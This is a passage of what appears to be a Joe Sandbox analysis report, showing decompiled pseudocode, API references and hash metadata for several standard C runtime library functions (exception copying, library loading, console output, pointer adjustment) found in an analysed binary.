					E001AA33B(_t14, _t40 + 4);
					 *_t40 = 0x1c7270;
					_t15 = _t46 + 0xc; // 0x1d4564
					_t16 = _t46 + 0x10; // 0x0
					 *((intOrPtr*)(_t40 + 0xc)) =  *_t15;
					 *((intOrPtr*)(_t40 + 0x10)) =  *_t16;
					 *_t40 = 0x1c731c;
					return _t40;
				}
			}

0x001a213c
0x001a213f
0x001a2146
0x001a2148
0x001a2156
0x001a214a
0x001a214e
0x001a215d
0x001a215d
0x001a2165
0x001a217b
0x001a2167
0x001a2167
0x001a2167
0x001a2185
0x001a218d
0x001a2193
0x001a21a2
0x001a21a7
0x001a21a8
0x001a21a9
0x001a21aa
0x001a21ab
0x001a21ac
0x001a21ad
0x001a21ae
0x001a21af
0x001a21b0
0x001a21b1
0x001a21b5
0x001a21b9
0x001a21bf
0x001a21c5
0x001a21c9
0x001a21cd
0x001a21d2
0x001a21db
0x001a21de
0x001a21e1
0x001a21e6
0x001a21e9
0x001a21f1
0x001a21f1

APIs

___std_exception_copy.LIBVCRUNTIME ref: 001A21CD

Part of subcall function 001AA3E0: RaiseException.KERNEL32(E06D7363,00000001,00000003,001A9F79,?,?,?,?,001A9F79,?,001D457C), ref: 001AA440

Strings

ios_base::badbit set, xrefs: 001A2167, 001A2192, 001A21B0
ios_base::eofbit set, xrefs: 001A2176
ios_base::failbit set, xrefs: 001A2171

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 8ac06e1934c945e73e834c7bbd0f37cde521db6fe7b8774436b04475fcee84ca
Instruction ID: 95f9f8c2d1db907a140426d07bf2e336927451a25390cbb7af4f350732b5349c
Opcode Fuzzy Hash: 8ac06e1934c945e73e834c7bbd0f37cde521db6fe7b8774436b04475fcee84ca
Instruction Fuzzy Hash: 3D112CB69047046BC710DF5CD841F96B3E8BF66310F04852AFA54A7381F770E904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001ADAC2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E001ADAC2(WCHAR* _a4) {
				struct HINSTANCE__* _t4;

				_t4 = LoadLibraryExW(_a4, 0, 0x800);
				if(_t4 != 0) {
					return _t4;
				} else {
					if(GetLastError() != 0x57 || E001B6358(_a4, L"api-ms-", 7) == 0) {
						return 0;
					}
					return LoadLibraryExW(_a4, 0, 0);
				}
			}

0x001adacf
0x001adad7
0x001adb0c
0x001adad9
0x001adae2
0x00000000
0x001adb09
0x001adb08
0x001adb08

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,001ADA73,00000000,?,00202E0C,?,?,?,001ADC16,00000004,InitializeCriticalSectionEx,001C8CE8,InitializeCriticalSectionEx), ref: 001ADACF
GetLastError.KERNEL32(?,001ADA73,00000000,?,00202E0C,?,?,?,001ADC16,00000004,InitializeCriticalSectionEx,001C8CE8,InitializeCriticalSectionEx,00000000,?,001AD9CD), ref: 001ADAD9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 001ADB01

Strings

api-ms-, xrefs: 001ADAE6

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: a6458388438e2b15b4b3b8d43cda4c37ba5865a92eb9be73482f673a9bbf6135
Instruction ID: 7b1badf317a38a658d94af48a51adb6a297bd1069fdee3e5a4917899117e1f7c
Opcode Fuzzy Hash: a6458388438e2b15b4b3b8d43cda4c37ba5865a92eb9be73482f673a9bbf6135
Instruction Fuzzy Hash: 5DE04834284204BBDF102B60EC06F593F54AF13B60F150020F90DE88E1E7A1DC60CA94

Uniqueness

Uniqueness Score: -1.00%

Function 001BA14A Relevance: 6.3, APIs: 4, Instructions: 338
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 76%

			E001BA14A(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v16;
				signed int _v20;
				char _v28;
				signed int _v35;
				signed char _v36;
				void _v44;
				long _v48;
				signed char* _v52;
				char _v53;
				long _v60;
				intOrPtr _v64;
				struct _OVERLAPPED* _v68;
				signed int _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				void _v92;
				long _v96;
				signed char* _v100;
				void* _v104;
				intOrPtr _v108;
				char _v112;
				int _v116;
				struct _OVERLAPPED* _v120;
				struct _OVERLAPPED* _v124;
				struct _OVERLAPPED* _v128;
				struct _OVERLAPPED* _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t178;
				signed int _t180;
				signed char* _t190;
				void* _t200;
				signed char* _t201;
				long _t205;
				intOrPtr _t210;
				void _t212;
				signed char* _t217;
				void* _t224;
				signed int _t227;
				struct _OVERLAPPED* _t229;
				void* _t238;
				signed char* _t240;
				signed char* _t243;
				long _t246;
				intOrPtr _t247;
				signed char* _t248;
				void* _t258;
				intOrPtr _t265;
				void* _t266;
				struct _OVERLAPPED* _t267;
				signed int _t268;
				intOrPtr* _t279;
				signed int _t281;
				signed int _t285;
				signed char _t286;
				long _t287;
				signed int _t291;
				signed char* _t292;
				struct _OVERLAPPED* _t296;
				void* _t299;
				signed int _t300;
				void* _t302;
				struct _OVERLAPPED* _t303;
				signed char* _t306;
				intOrPtr* _t307;
				void* _t308;
				signed int _t309;
				long _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				void* _t314;
				void* _t315;
				void* _t316;

				_push(0xffffffff);
				_push(0x1c6b48);
				_push( *[fs:0x0]);
				_t315 = _t314 - 0x74;
				_t177 =  *0x1d5010; // 0x8121a627
				_t178 = _t177 ^ _t313;
				_v20 = _t178;
				_push(_t178);
				 *[fs:0x0] =  &_v16;
				_t180 = _a8;
				_t306 = _a12;
				_t265 = _a20;
				_t268 = (_t180 & 0x0000003f) * 0x38;
				_t291 = _t180 >> 6;
				_v100 = _t306;
				_v64 = _t265;
				_v84 = _t291;
				_v72 = _t268;
				_v104 =  *((intOrPtr*)( *((intOrPtr*)(0x203178 + _t291 * 4)) + _t268 + 0x18));
				_v88 = _a16 + _t306;
				_v116 = GetConsoleOutputCP();
				if( *((char*)(_t265 + 0x14)) == 0) {
					E001AF970(_t265);
				}
				_t307 = _a4;
				_v108 =  *((intOrPtr*)( *((intOrPtr*)(_t265 + 0xc)) + 8));
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t190 = _v100;
				_t292 = _t190;
				_v52 = _t292;
				if(_t190 < _v88) {
					_t300 = _v72;
					_t267 = 0;
					_v76 = 0;
					do {
						_v53 =  *_t292;
						_v68 = _t267;
						_v48 = 1;
						_t273 =  *(0x203178 + _v84 * 4);
						_v80 = _t273;
						if(_v108 != 0xfde9) {
							if(( *(_t300 + _t273 + 0x2d) & 0x00000004) == 0) {
								_t273 =  *_t292 & 0x000000ff;
								if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc)))) + ( *_t292 & 0x000000ff) * 2)) >= _t267) {
									_push(_v64);
									_push(1);
									_push(_t292);
									goto L29;
								} else {
									_t217 =  &(_t292[1]);
									_v60 = _t217;
									if(_t217 >= _v88) {
										 *((char*)(_t300 + _v80 + 0x2e)) =  *_t292;
										 *( *(0x203178 + _v84 * 4) + _t300 + 0x2d) =  *( *(0x203178 + _v84 * 4) + _t300 + 0x2d) | 0x00000004;
										 *((intOrPtr*)(_t307 + 4)) = _v76 + 1;
									} else {
										_t224 = E001B7221(_t273,  &_v68, _t292, 2, _v64);
										_t316 = _t315 + 0x10;
										if(_t224 != 0xffffffff) {
											_t201 = _v60;
											goto L31;
										}
									}
								}
							} else {
								_push(_v64);
								_v36 =  *(_t300 + _t273 + 0x2e) & 0x000000fb;
								_t227 =  *_t292;
								_v35 = _t227;
								 *(_t300 + _t273 + 0x2d) = _t227;
								_push(2);
								_push( &_v36);
								L29:
								_push( &_v68);
								_t200 = E001B7221(_t273);
								_t316 = _t315 + 0x10;
								if(_t200 != 0xffffffff) {
									_t201 = _v52;
									goto L31;
								}
							}
						} else {
							_t229 = _t267;
							_t279 = _t273 + 0x2e + _t300;
							while( *_t279 != _t267) {
								_t229 =  &(_t229->Internal);
								_t279 = _t279 + 1;
								if(_t229 < 5) {
									continue;
								}
								break;
							}
							_t302 = _v88 - _t292;
							_v48 = _t229;
							if(_t229 == 0) {
								_t73 = ( *_t292 & 0x000000ff) + 0x1d52a0; // 0x0
								_t281 =  *_t73 + 1;
								_v80 = _t281;
								if(_t281 > _t302) {
									if(_t302 <= 0) {
										goto L44;
									} else {
										_t309 = _v72;
										do {
											 *((char*)( *(0x203178 + _v84 * 4) + _t309 + _t267 + 0x2e)) =  *((intOrPtr*)(_t267 + _t292));
											_t267 =  &(_t267->Internal);
										} while (_t267 < _t302);
										goto L43;
									}
									L52:
								} else {
									_v132 = _t267;
									_v128 = _t267;
									_v60 = _t292;
									_v48 = (_t281 == 4) + 1;
									_t238 = E001C38C2( &_v132,  &_v68,  &_v60, (_t281 == 4) + 1,  &_v132, _v64);
									_t316 = _t315 + 0x14;
									if(_t238 != 0xffffffff) {
										_t240 =  &(_v52[_v80]);
										_t300 = _v72;
										goto L21;
									}
								}
							} else {
								_t285 = _v72;
								_t243 = _v80 + 0x2e + _t285;
								_v80 = _t243;
								_t246 =  *((char*)(( *_t243 & 0x000000ff) + 0x1d52a0)) + 1;
								_v60 = _t246;
								_t247 = _t246 - _v48;
								_v76 = _t247;
								if(_t247 > _t302) {
									if(_t302 > 0) {
										_t248 = _v52;
										_t310 = _v48;
										do {
											_t286 =  *((intOrPtr*)(_t267 + _t248));
											_t292 =  *(0x203178 + _v84 * 4) + _t285 + _t267;
											_t267 =  &(_t267->Internal);
											_t292[_t310 + 0x2e] = _t286;
											_t285 = _v72;
										} while (_t267 < _t302);
										L43:
										_t307 = _a4;
									}
									L44:
									 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + _t302;
								} else {
									_t287 = _v48;
									_t303 = _t267;
									_t311 = _v80;
									do {
										 *((char*)(_t313 + _t303 - 0x18)) =  *_t311;
										_t303 =  &(_t303->Internal);
										_t311 = _t311 + 1;
									} while (_t303 < _t287);
									_t304 = _v76;
									if(_v76 > 0) {
										E001AA810( &_v28 + _t287, _t292, _t304);
										_t287 = _v48;
										_t315 = _t315 + 0xc;
									}
									_t300 = _v72;
									_t296 = _t267;
									_t312 = _v84;
									do {
										 *( *((intOrPtr*)(0x203178 + _t312 * 4)) + _t300 + _t296 + 0x2e) = _t267;
										_t296 =  &(_t296->Internal);
									} while (_t296 < _t287);
									_t307 = _a4;
									_v112 =  &_v28;
									_v124 = _t267;
									_v120 = _t267;
									_v48 = (_v60 == 4) + 1;
									_t258 = E001C38C2( &_v124,  &_v68,  &_v112, (_v60 == 4) + 1,  &_v124, _v64);
									_t316 = _t315 + 0x14;
									if(_t258 != 0xffffffff) {
										_t240 =  &(_v52[_v76]);
										L21:
										_t201 = _t240 - 1;
										L31:
										_v52 = _t201 + 1;
										_t205 = E001BDD41(_v116, _t267,  &_v68, _v48,  &_v44, 5, _t267, _t267);
										_t315 = _t316 + 0x20;
										_v60 = _t205;
										if(_t205 != 0) {
											if(WriteFile(_v104,  &_v44, _t205,  &_v96, _t267) == 0) {
												L50:
												 *_t307 = GetLastError();
											} else {
												_t292 = _v52;
												_t210 =  *((intOrPtr*)(_t307 + 8)) + _t292 - _v100;
												_v76 = _t210;
												 *((intOrPtr*)(_t307 + 4)) = _t210;
												if(_v96 >= _v60) {
													if(_v53 != 0xa) {
														goto L38;
													} else {
														_t212 = 0xd;
														_v92 = _t212;
														if(WriteFile(_v104,  &_v92, 1,  &_v96, _t267) == 0) {
															goto L50;
														} else {
															if(_v96 >= 1) {
																 *((intOrPtr*)(_t307 + 8)) =  *((intOrPtr*)(_t307 + 8)) + 1;
																 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + 1;
																_t292 = _v52;
																_v76 =  *((intOrPtr*)(_t307 + 4));
																goto L38;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L51;
						L38:
					} while (_t292 < _v88);
				}
				L51:
				 *[fs:0x0] = _v16;
				_pop(_t299);
				_pop(_t308);
				_pop(_t266);
				return E001A9545(_t307, _t266, _v20 ^ _t313, _t292, _t299, _t308);
				goto L52;
			}

0x001ba14f
0x001ba151
0x001ba15c
0x001ba15d
0x001ba160
0x001ba165
0x001ba167
0x001ba16d
0x001ba171
0x001ba177
0x001ba17c
0x001ba182
0x001ba185
0x001ba188
0x001ba18b
0x001ba18e
0x001ba191
0x001ba19b
0x001ba1a2
0x001ba1aa
0x001ba1b7
0x001ba1ba
0x001ba1be
0x001ba1be
0x001ba1c6
0x001ba1ce
0x001ba1d3
0x001ba1d4
0x001ba1d5
0x001ba1d6
0x001ba1d9
0x001ba1db
0x001ba1e1
0x001ba1e7
0x001ba1ea
0x001ba1ec
0x001ba1ef
0x001ba1f8
0x001ba1fe
0x001ba201
0x001ba208
0x001ba20f
0x001ba212
0x001ba353
0x001ba376
0x001ba382
0x001ba3b3
0x001ba3b6
0x001ba3b8
0x00000000
0x001ba384
0x001ba384
0x001ba387
0x001ba38d
0x001ba4d7
0x001ba4e5
0x001ba4ee
0x001ba393
0x001ba39d
0x001ba3a2
0x001ba3a8
0x001ba3ae
0x00000000
0x001ba3ae
0x001ba3a8
0x001ba38d
0x001ba355
0x001ba35c
0x001ba35f
0x001ba362
0x001ba364
0x001ba367
0x001ba36e
0x001ba370
0x001ba3b9
0x001ba3bc
0x001ba3bd
0x001ba3c2
0x001ba3c8
0x001ba3ce
0x00000000
0x001ba3ce
0x001ba3c8
0x001ba218
0x001ba21b
0x001ba21d
0x001ba21f
0x001ba223
0x001ba224
0x001ba228
0x00000000
0x00000000
0x00000000
0x001ba228
0x001ba22d
0x001ba22f
0x001ba234
0x001ba2f4
0x001ba2fb
0x001ba2fc
0x001ba301
0x001ba4b3
0x00000000
0x001ba4b5
0x001ba4b5
0x001ba4b8
0x001ba4c7
0x001ba4cb
0x001ba4cc
0x00000000
0x001ba4d0
0x00000000
0x001ba307
0x001ba30c
0x001ba312
0x001ba318
0x001ba321
0x001ba32c
0x001ba331
0x001ba337
0x001ba340
0x001ba343
0x00000000
0x001ba343
0x001ba337
0x001ba23a
0x001ba23d
0x001ba243
0x001ba245
0x001ba252
0x001ba253
0x001ba256
0x001ba259
0x001ba25e
0x001ba484
0x001ba486
0x001ba489
0x001ba48c
0x001ba498
0x001ba49b
0x001ba49d
0x001ba49e
0x001ba4a2
0x001ba4a5
0x001ba4a9
0x001ba4a9
0x001ba4a9
0x001ba4ac
0x001ba4ac
0x001ba264
0x001ba264
0x001ba267
0x001ba269
0x001ba26c
0x001ba26e
0x001ba272
0x001ba273
0x001ba274
0x001ba278
0x001ba27d
0x001ba287
0x001ba28c
0x001ba28f
0x001ba28f
0x001ba292
0x001ba295
0x001ba297
0x001ba29a
0x001ba2a3
0x001ba2a7
0x001ba2a8
0x001ba2af
0x001ba2b5
0x001ba2bd
0x001ba2c8
0x001ba2cd
0x001ba2d8
0x001ba2dd
0x001ba2e3
0x001ba2ec
0x001ba346
0x001ba346
0x001ba3d1
0x001ba3d6
0x001ba3e8
0x001ba3ed
0x001ba3f0
0x001ba3f5
0x001ba410
0x001ba4f3
0x001ba4f9
0x001ba416
0x001ba416
0x001ba421
0x001ba423
0x001ba426
0x001ba42f
0x001ba439
0x00000000
0x001ba43b
0x001ba43d
0x001ba43f
0x001ba458
0x00000000
0x001ba45e
0x001ba462
0x001ba468
0x001ba46b
0x001ba471
0x001ba474
0x00000000
0x001ba474
0x001ba462
0x001ba458
0x001ba439
0x001ba42f
0x001ba410
0x001ba3f5
0x001ba2e3
0x001ba25e
0x001ba234
0x00000000
0x001ba477
0x001ba477
0x001ba480
0x001ba4fb
0x001ba500
0x001ba508
0x001ba509
0x001ba50a
0x001ba516
0x00000000

APIs

GetConsoleOutputCP.KERNEL32(8121A627,00000000,00000000,00000000), ref: 001BA1AD

Part of subcall function 001BDD41: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,001BC41B,?,00000000,-00000008), ref: 001BDDED

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 001BA408
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 001BA450
GetLastError.KERNEL32 ref: 001BA4F3

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 9de23cc8375352c0d40194f97906bbb6be1685c6332cd07bcc6b9dbbf28dd7c7
Instruction ID: c874c91d4b037d8ffaea9350315504a7a3b5ee88df14359e5ff8e0edec1c46c1
Opcode Fuzzy Hash: 9de23cc8375352c0d40194f97906bbb6be1685c6332cd07bcc6b9dbbf28dd7c7
Instruction Fuzzy Hash: 4BD16875D002489FCB05CFE8D884AEDBBB9FF59300F58416AE855EB351D770A942CB51

Uniqueness

Uniqueness Score: -1.00%

Function 001ACA91 Relevance: 6.2, APIs: 4, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 63%

			E001ACA91(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x1d3e58);
				E001AA2B0(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E001AA810(_t107, E001AAEC4(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E001AA810(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x202ddc; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x1c7144();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E001B2DB9(_t75, _t84, _t97, _t107);
									asm("int3");
									_push(8);
									_push(0x1d3e78);
									E001AA2B0(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E001ACA91(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E001AD7A0(_t103, _t108[0x18], E001AAEC4( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E001AD7B0(_t103, _t108[0x18], E001AAEC4( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E001AAEC4();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x001aca91
0x001aca93
0x001aca98
0x001aca9d
0x001aca9f
0x001acaa2
0x001acaa7
0x001acbb7
0x001acbb7
0x001acbb7
0x00000000
0x001acab6
0x001acab6
0x001acabb
0x001acac5
0x001acac7
0x001acacc
0x001acad1
0x001acad1
0x001acad3
0x001acad6
0x001acadb
0x001acafd
0x001acafd
0x001acb00
0x001acb03
0x001acb21
0x001acb24
0x001acb63
0x001acb66
0x001acb69
0x001acb8e
0x001acb90
0x00000000
0x001acb92
0x001acb92
0x001acb94
0x00000000
0x001acb96
0x001acb96
0x001acb9b
0x001acb9f
0x001acb9f
0x001acba0
0x00000000
0x001acba0
0x001acb94
0x001acb6b
0x001acb6b
0x001acb6d
0x00000000
0x001acb6f
0x001acb6f
0x001acb71
0x00000000
0x001acb73
0x001acb84
0x00000000
0x001acb89
0x001acb71
0x001acb6d
0x001acb26
0x001acb26
0x001acb2a
0x00000000
0x001acb30
0x001acb30
0x001acb32
0x00000000
0x001acb38
0x001acb3f
0x001acb47
0x001acb4b
0x001acb4d
0x001acb50
0x001acb55
0x001acb56
0x00000000
0x001acb56
0x001acb50
0x00000000
0x001acb4b
0x001acb32
0x001acb2a
0x001acb05
0x001acb05
0x00000000
0x001acb05
0x001acae2
0x001acae2
0x001acae7
0x001acaec
0x00000000
0x001acaee
0x001acaf0
0x001acaf9
0x001acb08
0x001acb0a
0x001acbc9
0x001acbc9
0x001acbce
0x001acbcf
0x001acbd1
0x001acbd6
0x001acbdb
0x001acbde
0x001acbe1
0x001acbe4
0x001acbed
0x001acbed
0x001acbe6
0x001acbe6
0x001acbe6
0x001acbf0
0x001acbf4
0x001acbf7
0x001acbf8
0x001acbf9
0x001acbfa
0x001acbfd
0x001acc06
0x001acc06
0x001acc09
0x001acc3f
0x001acc0b
0x001acc0b
0x001acc0b
0x001acc0e
0x001acc25
0x001acc25
0x001acc0e
0x001acc44
0x001acc4e
0x001acc5a
0x001acb18
0x001acb18
0x001acb1d
0x001acb1e
0x001acb58
0x001acb5f
0x001acba3
0x001acba3
0x001acbaa
0x001acbb9
0x001acbbc
0x001acbc8
0x001acbc8
0x001acb0a
0x001acaec
0x00000000
0x00000000
0x00000000
0x001acabb

APIs

___AdjustPointer.LIBCMT ref: 001ACB58
___AdjustPointer.LIBCMT ref: 001ACB7B
___AdjustPointer.LIBCMT ref: 001ACC17

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4833c81782e6dd4d34d406b807ea336ee795eefefce6e01c896266e839c9d3f9
Instruction ID: f4cbe38fffe336b6d58429298b179adaf4c53ddf597bf06db6518ca567c5cfde
Opcode Fuzzy Hash: 4833c81782e6dd4d34d406b807ea336ee795eefefce6e01c896266e839c9d3f9
Instruction Fuzzy Hash: AD51F67EA04606AFEB29CF58D842BBA77A4EF16350F14442EE845572D1E732EC40C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 001BE15D Relevance: 6.1, APIs: 4, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001BE15D(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t30;
				char _t32;
				intOrPtr _t40;
				intOrPtr* _t42;
				intOrPtr _t43;

				_t42 = _a4;
				if(_t42 != 0) {
					_t32 = 0;
					__eflags =  *_t42;
					if( *_t42 != 0) {
						_t17 = E001BDD41(_a16, 0, _t42, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t17;
						if(_t17 != 0) {
							_t40 = _a8;
							__eflags = _t17 -  *((intOrPtr*)(_t40 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t18 = E001B327C(_a16, _t42,  *((intOrPtr*)(_t40 + 8)),  *((intOrPtr*)(_t40 + 0xc)));
								__eflags = _t18;
								if(_t18 != 0) {
									 *((intOrPtr*)(_t40 + 0x10)) = _t18 - 1;
									_t20 = 0;
									__eflags = 0;
								} else {
									E001AFEE7(GetLastError());
									_t20 =  *((intOrPtr*)(E001AFF41()));
								}
								L14:
								return _t20;
							}
							_t20 = E001BE6FF(_t40, __eflags, _t17);
							__eflags = _t20;
							if(_t20 != 0) {
								goto L14;
							}
							goto L11;
						}
						E001AFEE7(GetLastError());
						return  *((intOrPtr*)(E001AFF41()));
					}
					_t43 = _a8;
					__eflags =  *((intOrPtr*)(_t43 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t43 + 8)))) = _t32;
						L2:
						 *((intOrPtr*)(_t43 + 0x10)) = _t32;
						return 0;
					}
					_t30 = E001BE6FF(_t43, __eflags, 1);
					__eflags = _t30;
					if(_t30 != 0) {
						return _t30;
					}
					goto L6;
				}
				_t43 = _a8;
				E001B32A0(_t43);
				_t32 = 0;
				 *((intOrPtr*)(_t43 + 8)) = 0;
				 *((intOrPtr*)(_t43 + 0xc)) = 0;
				goto L2;
			}

0x001be164
0x001be169
0x001be187
0x001be189
0x001be18c
0x001be1b5
0x001be1bd
0x001be1bf
0x001be1d8
0x001be1db
0x001be1de
0x001be1ec
0x001be1f9
0x001be1fe
0x001be200
0x001be219
0x001be21c
0x001be21c
0x001be202
0x001be209
0x001be214
0x001be214
0x001be21e
0x00000000
0x001be21e
0x001be1e3
0x001be1e8
